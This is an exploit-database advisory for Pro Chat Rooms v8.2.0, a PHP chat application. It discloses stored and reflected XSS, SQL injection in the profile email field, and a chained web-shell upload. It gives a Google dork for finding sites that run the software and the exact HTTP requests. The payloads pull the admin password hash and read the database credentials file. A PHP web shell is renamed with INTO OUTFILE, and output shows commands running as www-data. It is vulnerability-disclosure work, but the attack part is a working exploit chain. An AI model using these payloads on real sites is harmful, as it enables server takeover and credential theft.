Author

Mike Manzotti

Risk

[

Security Risk High

]

0day-ID

0day-ID-22499

Category

web applications

Date add

10-08-2014

Platform

php

# Exploit Title: Pro Chat Rooms v8.2.0 - Multiple Vulnerabilities
# Google Dork: intitle:"Powered by Pro Chat Rooms"
# Date: 5 August 2014
# Exploit Author: Mike Manzotti @ Dionach Ltd
# Vendor Homepage: http://prochatrooms.com
# Software Link: http://prochatrooms.com/software.php
# Version: v8.2.0
# Tested on: Debian (Apache+MySQL)
 
1) Stored XSS
===========
 
Text Chat Room Software of ProoChatRooms is vulnerable to Stored XSS. After registered an account, an attacker can upload a profile picture containing Javascript code as shown below:
 
POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333.jpg"
Content-Type: image/jpeg
 
<script>alert(document.cookie)</script>
 
By inspecting the response, the web application returns a 32 digits value in the HTML tag "imgID" as shown below:
 
Response:
<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">
 
The picture is uploaded under the directory "/profiles/uploads" and is accessible by force browsing to the 32 digits value as shown below:
 
http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b>
 
 
2) Reflected XSS
=============
 
Text Chat Room Software of ProoChatRooms is vulnerable to Reflected XSS. The parameter "edit" is not encoded:
 
http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script><http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1&edit=%22%3e%3cscript%3ealert(document.cookie)%3c/script%3e>
 
 
3) SQL Injection
=============
 
Text Chat Room Software of ProoChatRooms is vulnerable to SQL injections. Across the all source code of web application, parameterized queries are used to query the database. However, a lack of data sanitization of three parameters leaves the web application vulnerable to SQLi. The vulnerable parameters are located as shown below:
 
prochatrooms_v8.2.0/includes/functions.php: ~2437
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users
              SET email = '".$email."',
                    password='".md5($password)."'
              WHERE id = '".$id."'
              ";
 
prochatrooms_v8.2.0/includes/functions.php: ~2449
$query = "UPDATE prochatrooms_users
              SET email = '".$email."'
              WHERE id = '".$id."'
              ";
 
prochatrooms_v8.2.0/includes/functions.php: ~3110
$query = "UPDATE prochatrooms_users
              SET active = '".$offlineTime."', online = '0'
              WHERE username = '".makeSafe($toname)."'
              ";
 
Note that the "makeSafe" function is defined as shown below and will protect against XSS attacks only:
 
prochatrooms_v8.2.0/includes/functions.php: ~125
function makeSafe($data)
{
      $data = htmlspecialchars($data);
 
      return $data;
}
 
 
After registering an account, an attacker can exploit the SQL injection by editing the field email as shown below which will retrieve the MD5 hashed password of the administrator:
 
POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"
 
mm@1dn.eu', email=(select adminLogin from prochatrooms_config) where id ='1';#
 
 
The following SQL injection will retrieve the SQL connection string, which probably has clear-text database credentials.
 
POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"
 
mm@1dn.eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#
 
 
 
 
4) Arbitrary File Upload
==================
 
It is possible to combine the Stored XSS and SQL injection vulnerabilities to upload a web shell on the server.
 
The following request will upload a PHP web shell and the web application will return a 32 digit value.
 
POST:  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="uploadedfile"; filename="m.jpg"
Content-Type: application/octet-stream
 
<?php system($_GET[cmd]);?>
 
Response:
<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">
 
Since the uploaded web shell is without extension it will not be executed:
 
http://<WEBSITE>/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45>
<?php system($_GET[cmd]);?>
 
Image:
[cid:image005.png@01CFB099.8E117F70]
 
However, exploiting the SQL injection it is possible to rename the file by appending a .php extension
 
POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"
 
mm@1dn.eu' where id ='1'; SELECT load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE '/var/www/prochatrooms/profiles/uploads/s.php';#
 
Web shell:
http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/s.php?cmd=id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

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